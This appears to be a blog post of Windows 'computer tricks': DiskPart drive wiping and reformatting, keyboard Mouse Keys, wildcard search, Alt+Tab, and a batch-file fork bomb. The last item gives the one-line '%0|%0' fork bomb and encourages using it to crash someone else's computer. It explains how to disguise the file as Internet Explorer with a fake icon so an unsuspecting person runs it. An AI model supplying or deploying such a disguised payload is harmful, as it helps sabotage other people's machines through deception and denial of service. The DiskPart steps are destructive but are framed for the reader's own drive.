Cool computer tricks and shortcuts

Cool tricks for computers that can boost up your PC. Some best Computer tricks are here.

#1 Disk part

When you have an external storage drive connected to your PC, such as a USB Flash drive or hard drive, or even an SD Card that isn't working correctly because of data corruption or another serious issue.

Sometimes Format tool may not be able to fix the problem, and this is when DiskPart can come in handy, it allows you to manage storage devices, partitions, and volumes with features that other tools such as Format or Disk Management can't fix.

Find command prompt from start menu in the search bar
Right-click on command prompt and run it as administrator.
Type the following commands followed by ENTER KEY

1. diskpart
   
2. list disk (Take your time and carefully identify the drive you want to clean.)
3. select disk x (replace x by the drive number you want to clean.)
4. clean
5. list disk (If the drive still selected, you will notice an asterisk (*) next to the disk.)
6. create partition primary
   
7. select partition 1 (the following command will select the partition you just created)
8. format FS=NTFS quick (this may take some time)
9. exit

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#2 Use your Keyboard as Mouse

You know you can use your mouse as a keyboard using the On-screen keyboard utility. What if I tell you that it is also possible to do the reverse?
Click the Start button

1. Go to Control Panel
2. Click Ease of Access
   
3. Click Ease of Access Center.
4. Click Make the mouse easier to use.
   
5. Under Control the mouse with the keyboard dialogue box, tick the Turn on Mouse Keys checkbox.
   

Now you can use number keys (possibly 2,4,6,8) on the right part of your keyboard to control the cursor. (Number 5 key will be your right-click key)

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#3 Search using *.*

You can always find your searches more easily by using *.*
Let's assume we had a file named iamking.pdf and you remember only some part of your file name.

Then you can use ‘iam*.pdf’ or ‘*king.pdf’ or ‘ia*ng.*’ etc to make your searches more easy and faster.

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#4 Alt+tab (win+tab)

Alt+Tab is the common name for a keyboard shortcut that has been in Microsoft Windows since Windows 3.0. This shortcut switches between application-level windows without using the mouse, hence it was named Task Switcher.

Perhaps the most common use of Alt+Tab is to alternate between a full-size window and the desktop, but it can also be used to switch to any running program that has an application-level window. Thus, it can be used to alternate between the two most recent tasks. the most recently used tasks can be switched quickly.

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#5 %0|%0 (.bat)

Caution: Don't use it on your own computer unless you need it.
If you want to crash someone's computer momentarily use this trick.
This is the Windows version of a fork bomb.
%0|%0 is the name of the currently executing batch file. A batch file that contains just this line: %0|%0 Is going to recursively execute itself forever, quickly creating many processes and slowing the system down.

This is not a bug in windows, it is just a very stupid thing to do in a batch file. It gets destroyed after rebooting.

How to use

1. Type %0|%0 in notepad
2. Save the file using .bat extension
3. Name file (say, internet explorer)
4. Change the logo of the file (right-click on file go to properties.. customize..change logo).

Now when someone opens this file (thinking he is opening internet explorer) the system will crash and will require cold booting to work.

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